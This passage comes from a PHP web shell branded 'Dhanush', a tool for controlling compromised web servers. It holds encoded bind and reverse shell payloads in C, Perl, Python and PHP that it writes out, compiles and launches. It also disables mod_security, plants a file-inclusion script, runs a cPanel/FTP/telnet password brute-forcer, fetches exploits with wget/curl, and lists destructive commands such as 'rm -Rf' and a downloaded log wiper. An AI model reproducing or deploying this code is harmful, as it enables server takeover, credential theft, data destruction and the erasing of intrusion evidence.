5507 if(ajaxRequest.readyState == 4)
5508 {
5509 document.getElementById("showmal").innerHTML=ajaxRequest.responseText;
5510 }
5511 }
5512
5513 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+malwork+"&path="+malpath, true);
5514 ajaxRequest.send(null);
5515}
5516function getexploit(wurl,path,functiontype)
5517{
5518 document.getElementById("showexp").innerHTML=waitstate;
5519 var ajaxRequest;
5520 ajaxRequest = new XMLHttpRequest();
5521
5522 ajaxRequest.onreadystatechange = function()
5523 {
5524 if(ajaxRequest.readyState == 4)
5525 {
5526 document.getElementById("showexp").innerHTML=ajaxRequest.responseText;
5527 }
5528 }
5529
5530 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?uploadurl&wurl="+wurl+"&functiontype="+functiontype+"&path="+path, true);
5531 ajaxRequest.send(null);
5532}
5533function showMsg(msg)
5534{
5535 if(msg == 'smf')
5536 {
5537 document.getElementById('tableprefix').value="smf_";
5538 document.getElementById('fid').style.display='block';
5539 document.getElementById('wpress').style.display='none';
5540 document.getElementById('joomla').style.display='none';
5541 }
5542 if(msg == 'mybb')
5543 {
5544 document.getElementById('tableprefix').value="mybb_";
5545 document.getElementById('wpress').style.display='none';
5546 document.getElementById('joomla').style.display='none';
5547 document.getElementById('fid').style.display='block';
5548 }
5549 if(msg == 'ipb' || msg == 'vb')
5550 {
5551 document.getElementById('tableprefix').value="";
5552 document.getElementById('wpress').style.display='none';
5553 document.getElementById('joomla').style.display='none';
5554 document.getElementById('fid').style.display='block';
5555 }
5556 if(msg == 'wp')
5557 {
5558 document.getElementById('tableprefix').value="wp_";
5559 document.getElementById('wpress').style.display='block';
5560 document.getElementById('fid').style.display='none';
5561 document.getElementById('joomla').style.display='none';
5562 }
5563 if(msg == 'joomla')
5564 {
5565 document.getElementById('joomla').style.display='block';
5566 document.getElementById('tableprefix').value="jos_";
5567 document.getElementById('wpress').style.display='none';
5568 document.getElementById('fid').style.display='none';
5569
5570
5571 }
5572}
5573function checkforum(msg)
5574{
5575 if(msg == 'smf')
5576 {
5577 document.getElementById('tableprefix').value="smf_";
5578 document.getElementById('smfipb').style.display='block';
5579 document.getElementById('myjoomla').style.display='none';
5580 document.getElementById('wordpres').style.display='none';
5581 }
5582 if(msg == 'phpbb')
5583 {
5584 document.getElementById('tableprefix').value="phpb_";
5585 document.getElementById('myjoomla').style.display='none';
5586 document.getElementById('smfipb').style.display='block';
5587 document.getElementById('wordpres').style.display='none';
5588 }
5589 if(msg == 'mybb')
5590 {
5591 document.getElementById('tableprefix').value="mybb_";
5592 document.getElementById('myjoomla').style.display='none';
5593 document.getElementById('smfipb').style.display='none';
5594 }
5595 if(msg == 'vb')
5596 {
5597 document.getElementById('tableprefix').value="";
5598 document.getElementById('myjoomla').style.display='none';
5599 document.getElementById('smfipb').style.display='none';
5600 }
5601 if(msg == 'ipb')
5602 {
5603 document.getElementById('myjoomla').style.display='none';
5604 document.getElementById('smfipb').style.display='block';
5605 document.getElementById('tableprefix').value="";
5606 document.getElementById('wordpres').style.display='none';
5607
5608 }
5609 if(msg == 'wp')
5610 {
5611 document.getElementById('tableprefix').value="wp_";
5612 document.getElementById('myjoomla').style.display='none';
5613 document.getElementById('smfipb').style.display='block';
5614 document.getElementById('wordpres').style.display='block';
5615 }
5616 if(msg == 'joomla')
5617 {
5618 document.getElementById('myjoomla').style.display='block';
5619 document.getElementById('tableprefix').value="jos_";
5620 document.getElementById('smfipb').style.display='none';
5621
5622 }
5623}
5624</script>
5625<body>
5626<?php
5627
5628$back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
5629
5630$backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
5631
5632$bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
5633
5634$bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
5635shellstyle();
5636?>
5637<div align="center">
5638<a href="<?php $_SERVER['PHP_SELF'];?>"><font size="6" color="#FF0000" style="text-decoration:none;" face="Times New Roman, Times, serif">Dhanush : By Arjun </font></a>
5639
5640</div>
5641<hr color="#1B1B1B">
5642
5643<table cellpadding="0" style="width:100%;">
5644 <tr>
5645 <td colspan="2" style="width:75%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
5646 <td style="width:10%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
5647 <td style="width:15%;"><a href=# onClick="maindata('com')"><font class="txt"><i>Software Info</i></font></a></td>
5648 </tr>
5649 <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
5650 <td style="width:75%;" colspan="2">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
5651 <?php $d0mains = @file("/etc/named.conf");
5652 $users=@file('/etc/passwd');
5653 if($d0mains)
5654 {
5655 $count;
5656 foreach($d0mains as $d0main)
5657 {
5658 if(@ereg("zone",$d0main))
5659 {
5660 preg_match_all('#zone "(.*)"#', $d0main, $domains);
5661 flush();
5662 if(strlen(trim($domains[1][0])) > 2)
5663 {
5664 flush();
5665 $count++;
5666 }
5667 }
5668 }
5669 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php
5670 }
5671 else if($users)
5672 {
5673 $file = fopen("/etc/passwd", "r");
5674 while(!feof($file))
5675 {
5676 $s = fgets($file);
5677 $matches = array();
5678 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
5679 $matches = str_replace("home/","",$matches[1]);
5680 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
5681 continue;
5682 $count++;
5683 }
5684 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php } ?>
5685 </tr><?php } ?>
5686 <tr>
5687 <td style="width:20%;">Disk Space : <font class="txt"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>
5688 <td style="width:20%;">Free Space : <font class="txt"><?php echo HumanReadableFilesize(freeSpace()); $dksp = diskSpace(); $frsp = freeSpace(); echo " (".(int)($frsp/$dksp*100)."%)"; ?></font></td>
5689
5690 <td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
5691 <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
5692 </tr>
5693
5694 <tr>
5695 <?php if($os == 'Windows'){ ?><td style="width:15%;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
5696 <td style="width:30%;">Current Directory : <span id="crdir"><font color="#009900">
5697 <?php
5698 $d = str_replace("\\",$directorysperator,$dir);
5699 if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
5700 $d = str_replace("\\\\","\\",$d);
5701 $dispd = htmlspecialchars($d);
5702 $pd = $e = explode($directorysperator,substr($d,0,-1));
5703 $i = 0;
5704 foreach($pd as $b)
5705 {
5706 $t = '';
5707 $j = 0;
5708 foreach ($e as $r)
5709 {
5710 $t.= $r.$directorysperator;
5711 if ($j == $i) {break;}
5712 $j++;
5713 }
5714$href=addslashes($t);
5715
5716 echo "<a href=javascript:void(0) onClick=\"changedir('dir','$href')\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
5717 $i++;
5718 }
5719
5720 ?>
5721 </font></span> <a href=# onClick="gethome('home','<?php echo addslashes(getcwd()); ?>')">[Home]</a></td>
5722 <td style="width:20%;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
5723 <td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
5724 <?php if($os == "Linux") { ?><td><a href="<?php echo $self.'?downloadit'?>"><font color="#FF0000">Download It</font></a><?php } ?></td>
5725 </tr>
5726 </table>
5727
5728<?php $m1 = array('Symlink'=>'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');
5729 $m2 = array('SQL'=>'database','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');
5730 echo "<table border=3 style=border-color:#333333; width=100%; cellpadding=2>
5731 <tr>";
5732 $menu = '';
5733
5734 foreach($m1 as $k => $v)
5735 $menu .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5736 echo $menu;
5737 echo "</tr>
5738</table>
5739<div style=\"float:left;\">
5740 <a href=\"javascript:history.back(1)\"><font class=txt size=3> [Back] </font></a>
5741 <a href=\"javascript:history.go(1)\"><font class=txt size=3> [Forward] </font></a>
5742 <a href=\"\"><font class=txt size=3> [Refresh] </font></a></div>
5743<table style=\"margin-left:270px; border-color:#333333;\" border=2 width=60%; cellpadding=2>
5744 <tr align=center>";
5745 foreach($m2 as $k => $v)
5746 $menu1 .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."','".addslashes($_GET['dir'])."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5747 echo $menu1;
5748 echo "<td style=\"border:none;\"><a href=javascript:void(0) onClick=\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\"><font class=mainmenu>[SelfKill]</font></a></td>
5749 <td style=\"border:none;\"><a href=\"$self?logout\"><font class=mainmenu>[LogOut]</font></a></td>
5750 </tr>
5751</table>";?>
5752
5753<div id="showmaindata"></div>
5754<?php
5755
5756if(isset($_GET["downloadit"]))
5757{
5758 $FolderToCompress = getcwd();
5759 execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
5760
5761 $prd=explode("/","backup.tar");
5762 for($i=0;$i<sizeof($prd);$i++)
5763 {
5764 $nfd=$prd[$i];
5765 }
5766 @ob_clean();
5767 header("Content-type: application/octet-stream");
5768 header("Content-length: ".filesize($nfd));
5769 header("Content-disposition: attachment; filename=\"".$nfd."\";");
5770 readfile($nfd);
5771 exit;
5772}
5773//Turn Safe Mode Off
5774
5775 if(getDisabledFunctions() != "None" || safe() != "OFF")
5776 {
5777 $file_pointer = fopen(".htaccess", "w+");
5778 fwrite($file_pointer, "<IfModule mod_security.c>
5779 SecFilterEngine Off
5780 SecFilterScanPOST Off
5781 </IfModule> \n\r");
5782
5783 $file_pointer = fopen("ini.php", "w+");
5784 fwrite($file_pointer, "<?
5785echo ini_get(\"safe_mode\");
5786echo ini_get(\"open_basedir\");
5787include(\$_GET[\"file\"]);
5788ini_restore(\"safe_mode\");
5789ini_restore(\"open_basedir\");
5790echo ini_get(\"safe_mode\");
5791echo ini_get(\"open_basedir\");
5792include(\$_GET[\"ss\"]);
5793?>");
5794
5795 $file_pointer = fopen("php.ini", "w+");
5796 fwrite($file_pointer, "safe_mode = Off");
5797
5798 fclose($file_pointer);
5799
5800 }
5801
5802 else if(isset($_POST['cpanelattack']))
5803 {
5804 if(!empty($_POST['username']) && !empty($_POST['password']))
5805 {
5806 $userlist=explode("\n",$_POST['username']);
5807 $passlist=explode("\n",$_POST['password']);
5808
5809 if($_POST['cracktype'] == "ftp")
5810 {
5811 foreach ($userlist as $user)
5812 {
5813 $pureuser = trim($user);
5814 foreach ($passlist as $password )
5815 {
5816 $purepass = trim($password);
5817 ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5818 }
5819 }
5820 }
5821 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
5822 {
5823 if($cracktype == "telnet")
5824 $cpanel_port="23";
5825 else
5826 $cpanel_port="2082";
5827 foreach ($userlist as $user)
5828 {
5829 $pureuser = trim($user);
5830
5831 echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
5832 Processing user $pureuser ...</font></b><br><br>";
5833
5834 foreach ($passlist as $password )
5835 {
5836 $purepass = trim($password);
5837 cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5838
5839 }
5840 }
5841 }
5842 }
5843 else
5844 $bdmessage = "<center>Enter Username & Password List<center>";
5845 }
5846
5847else if(isset($_GET['info']))
5848{
5849 $bdmessage = "<br><div align=left><font class=txt>".nl2br(shell_exec("whois ".$_GET['info']))."</font></div>";
5850}
5851else if(isset($_POST['u']))
5852{
5853 $path = $_REQUEST['path'];
5854 if(is_dir($path))
5855 {
5856 $setuploadvalue = 0;
5857 $uploadedFilePath = $_FILES['uploadfile']['name'];
5858 $tempName = $_FILES['uploadfile']['tmp_name'];
5859 if($os == "Windows")
5860 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5861 else if($os == "Linux")
5862 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5863 if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
5864 $bdmessage = "<font class=txt size=3><blink>File uploaded to $uploadPath</blink></font>";
5865 else
5866 $bdmessage = "<font size=3><blink>Failed to upload file to $uploadPath</blink></font>";
5867 }
5868 ?><script type="text/javascript">changedir('dir','<?php echo addslashes($path); ?>'); </script><?php
5869}
5870else if(isset($_POST['backdoor']))
5871{
5872 if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
5873 { ?><script type="text/javascript">gethome('connect');</script><?php
5874 $passwd = $_POST['passwd'];
5875
5876 if($_POST['lang'] == 'c')
5877 {
5878 if(is_writable("."))
5879 {
5880 @$fh=fopen(getcwd()."/backp.c",'w');
5881 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5882 @fclose($fh);
5883 execmd("chmod 0755 ".getcwd()."/backp.c");
5884 execmd("gcc -o ".getcwd()."/backp ".getcwd()."/backp.c");
5885 execmd("chmod 0755 ".getcwd()."/backp");
5886 execmd(getcwd()."/backp"." ".$_POST['port']." ". $passwd ." &");
5887 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5888 if(eregi("backp".$_POST['port'],$scan))
5889 $bdmessage = "Process found running, backdoor setup successfully.";
5890 else
5891 $bdmessage = "Process not found running, backdoor not setup successfully.";
5892 }
5893 else
5894 {
5895 @$fh=fopen("/tmp/backp.c","w");
5896 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5897 @fclose($fh);
5898 execmd("chmod 0755 /tmp/backp.c");
5899 execmd("gcc -o /tmp/backp /tmp/backp.c");
5900 $out = execmd("/tmp/backp"." ".$_POST['port']." ". $passwd ." &");
5901 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5902 if(eregi("backp".$_POST['port'],$scan))
5903 $bdmessage = "Process found running, backdoor setup successfully.";
5904 else
5905 $bdmessage = "Process not found running, backdoor not setup successfully.";
5906 }
5907 }
5908 if($_POST['lang'] == 'perl')
5909 {
5910 if(is_writable("."))
5911 {
5912 @$fh=fopen(getcwd()."/bp.pl",'w');
5913 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5914 @fclose($fh);
5915 execmd("chmod 0755 ".getcwd()."/bp.pl");
5916 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5917
5918 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5919 }
5920 else
5921 {
5922 @$fh=fopen("/tmp/bp.pl","w");
5923 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5924 @fclose($fh);
5925 execmd("chmod 0755 ".getcwd()."/bp.pl");
5926 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5927 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5928 }
5929 }
5930 }
5931}
5932else if(isset($_POST['backconnect']))
5933{
5934 if($_POST['ip'] != "" && $_POST['port'] != "")
5935 { ?><script type="text/javascript">gethome('connect');</script><?php
5936 $host = $_POST['ip'];
5937 $port = $_POST['port'];
5938 if($_POST["lang"] == "perl")
5939 {
5940 if(is_writable("."))
5941 {
5942 @$fh=fopen(getcwd()."/bc.pl",'w');
5943 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5944 @fclose($fh);
5945 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5946 execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
5947 if(!@unlink(getcwd()."/bc.pl")) echo "<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>";
5948 }
5949 else
5950 {
5951 @$fh=fopen("/tmp/bc.pl","w");
5952 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5953 @fclose($fh);
5954 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5955 execmd("perl /tmp/bc.pl $host $port &",$disable);
5956 if(!@unlink("/tmp/bc.pl"))
5957 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
5958 }
5959 }
5960 else if($_POST["lang"] == "python")
5961 {
5962 if(is_writable("."))
5963 {
5964 $w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
5965 if($w_file)
5966 {
5967 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
5968 @fclose($w_file);
5969 chmod(getcwd().'/bc.py', 0777);
5970 }
5971 execmd("python ".getcwd()."/bc.py $host $port &",$disable);
5972 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5973
5974 if(!@unlink(getcwd()."/bc.py"))
5975 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
5976 }
5977 else
5978 {
5979 $w_file=@fopen("/tmp/bc.py","w");
5980 if($w_file)
5981 {
5982 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
5983 @fclose($w_file);
5984 chmod('/tmp/bc.py', 0777);
5985 }
5986 execmd("python /tmp/bc.py $host $port &",$disable);
5987 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5988 if(!@unlink("/tmp/bc.py"))
5989 echo "<h2>Warning: Failed to delete reverse-connection program</h2><br>";
5990 }
5991 }
5992 else if($_POST["lang"] == "php")
5993 {
5994 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5995 $ip = $_POST['ip'];
5996 $port=$_POST['port'];
5997 $sockfd=fsockopen($ip , $port , $errno, $errstr );
5998 if($errno != 0)
5999 {
6000 $bdmessage = "<font color='red'><b>$errno</b> : $errstr</font>";
6001 }
6002 else if (!$sockfd)
6003 {
6004 $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
6005 }
6006 else
6007 {
6008 fputs ($sockfd ,"\n=================================================================\nCoded By Arjun\n=================================================================");
6009 $pwd = exec_all("pwd");
6010 $sysinfo = exec_all("uname -a");
6011 $id = exec_all("id");
6012 $len = 1337;
6013 fputs($sockfd ,$sysinfo . "\n" );
6014 fputs($sockfd ,$pwd . "\n" );
6015 fputs($sockfd ,$id ."\n\n" );
6016 fputs($sockfd ,$dateAndTime."\n\n" );
6017 while(!feof($sockfd))
6018 {
6019 $cmdPrompt ="(dhanush)[$]> ";
6020 fputs ($sockfd , $cmdPrompt );
6021 $command= fgets($sockfd, $len);
6022 fputs($sockfd , "\n" . exec_all($command) . "\n\n");
6023 }
6024 fclose($sockfd);
6025 }
6026 }
6027 }
6028}
6029else if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
6030{
6031 $temp = "";
6032 for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
6033 {
6034 $uid = @posix_getpwuid($_GET['val1']);
6035 if ($uid)
6036 $temp .= join(':',$uid)."\n";
6037 }
6038 echo '<br/>';
6039 paramexe('Users', $temp);
6040}
6041else if(isset($_GET['download']))
6042{
6043 download();
6044}
6045else
6046{
6047 ?><script type="text/javascript">gethome('home','<?php echo addslashes($dir); ?>');</script><?php
6048}
6049$is_writable = is_writable($dir)?"<font class=txt>< writable ></font>":"< not writable >";
6050?>
6051</p><center><div id="showdir"><?php echo $bdmessage; ?></div></center>
6052<table style="width:100%;border-color:#333333;" border="1">
6053<tr>
6054<td align="center">
6055<form method="post" enctype="multipart/form-data">
6056Upload file : <br><input type="file" name="uploadfile" class="box" size="50">
6057<input type="hidden" id=path name="path" value="<?php echo $dir; ?>" />
6058<input type=submit value="Upload" name="u" value="u" class="but" ></form>
6059<span name="wrtble"><?php
6060echo $is_writable; ?></span>
6061 <br>
6062</td>
6063<td align="center" style="height:105px;">Create File :
6064<form onSubmit="createdir('Create',createfile.value);return false;">
6065<input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile" id="createfile">
6066<input type="button" onClick="createdir('Create',createfile.value)" value="Create" class="but">
6067</form><span name="wrtble">
6068<?php echo $is_writable; ?></span>
6069</td>
6070</tr>
6071<tr>
6072<td align="center" style="height:105px;">Execute : <form onSubmit="executemyfile('execute','<?php echo addslashes($dir); ?>',execute.value);return false;">
6073<input type="text" class="box" name="execute">
6074<input type="hidden" id="exepath" name="exepath" value="<?php echo $dir; ?>">
6075 <input type="button" onClick="executemyfile('execute',exepath.value,execute.value)" value="Execute" class="but"></form></td>
6076
6077<td align="center">Create Directory : <form onSubmit="createdir('createfolder',createfolder.value);return false;">
6078<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder" id="createfolder">
6079<input type="button" onClick="createdir('createfolder',createfolder.value)" value="Create" class="but">
6080</form><span name="wrtble"><?php
6081echo $is_writable;
6082?></span></td></tr>
6083<tr><td style="height:105px;" align="center">Get Exploit <form onSubmit="getexploit(wurl.value,path.value,functiontype.value);return false;">
6084<input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c">
6085<input type="button" onClick="getexploit(wurl.value,uppath.value,functiontype.value)" value=" G0 " class="but"><br><br>
6086<input type="hidden" id="uppath" name="uppath" value="<?php echo $dir . $directorysperator; ?>">
6087<select name="functiontype" class="sbox">
6088<option value="wwget">wget</option>
6089<option value="wlynx">lynx</option>
6090<option value="wfread">fread</option>
6091<option value="wfetch">fetch</option>
6092<option value="wlinks">links</option>
6093<option value="wget">GET</option>
6094<option value="wcurl">curl</option>
6095</select>
6096</form><div id="showexp"></div>
6097</td>
6098<td align="center">
6099<form>
6100Some Commands<br>
6101<?php if($os != "Windows")
6102{ ?>
6103<SELECT NAME="mycmd" class="box">
6104 <OPTION VALUE="uname -a">Kernel version
6105 <OPTION VALUE="w">Logged in users
6106 <OPTION VALUE="lastlog">Last to connect
6107 <option value='cat /etc/hosts'>IP Addresses
6108 <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
6109 <OPTION VALUE="logeraser">Log Eraser
6110 <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
6111 <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
6112 <OPTION VALUE="find / -type f -name \"config*\"">find config* files
6113 <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
6114 <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
6115 <OPTION VALUE="find / -type f -perm -04000 -ls">find all suid files
6116 <OPTION VALUE="find / -user root -perm -022">find all sgid files
6117 <OPTION VALUE="find . -type f -perm -02000 -ls">find suid files in current dir
6118 <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
6119 <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
6120 <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
6121 <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
6122 <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
6123 <OPTION VALUE="which wget curl w3m lynx">Downloaders?
6124 <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
6125 <OPTION VALUE="ps aux">Show running proccess
6126 <OPTION VALUE="uptime">Uptime check
6127 <OPTION VALUE="cat /proc/meminfo">Memory check
6128 <OPTION VALUE="netstat -an | grep -i listen">Open ports
6129 <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
6130 <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
6131 <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
6132 <OPTION VALUE="./zap2">WIPELOGS PT3
6133 <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
6134 </SELECT>
6135 <?php } else {?>
6136 <SELECT NAME="mycmd" class="box">
6137 <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
6138 <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
6139 <OPTION VALUE="systeminfo">System Informations
6140 <OPTION VALUE="net user">User accounts
6141 <OPTION VALUE="netstat -an">Open ports
6142 <OPTION VALUE="getmac">Get Mac Address
6143 <OPTION VALUE="net start">Show running services
6144 <OPTION VALUE="net view">Show computers
6145 <OPTION VALUE="arp -a">ARP Table
6146 <OPTION VALUE="tasklist">Show Process
6147 <OPTION VALUE="ipconfig/all">IP Configuration
6148
6149 </SELECT>
6150 <?php } ?>
6151 <input type="hidden" id="auexepath" name="auexepath" value="<?php echo $dir; ?>">
6152<input type="button" onClick="executemyfile('mycmd',auexepath.value,mycmd.value)" value="Execute" class="but">
6153</form>
6154</td>
6155</tr></table><br>
6156
6157</td>
6158</tr>
6159</table>
6160
6161<?php
6162
6163
6164//logout
6165
6166if(isset($_GET['logout']))
6167{
6168 setcookie("hacked",time() - 60*60);
6169 header("Location:$self");
6170 ob_end_flush();
6171}
6172?>
6173
6174
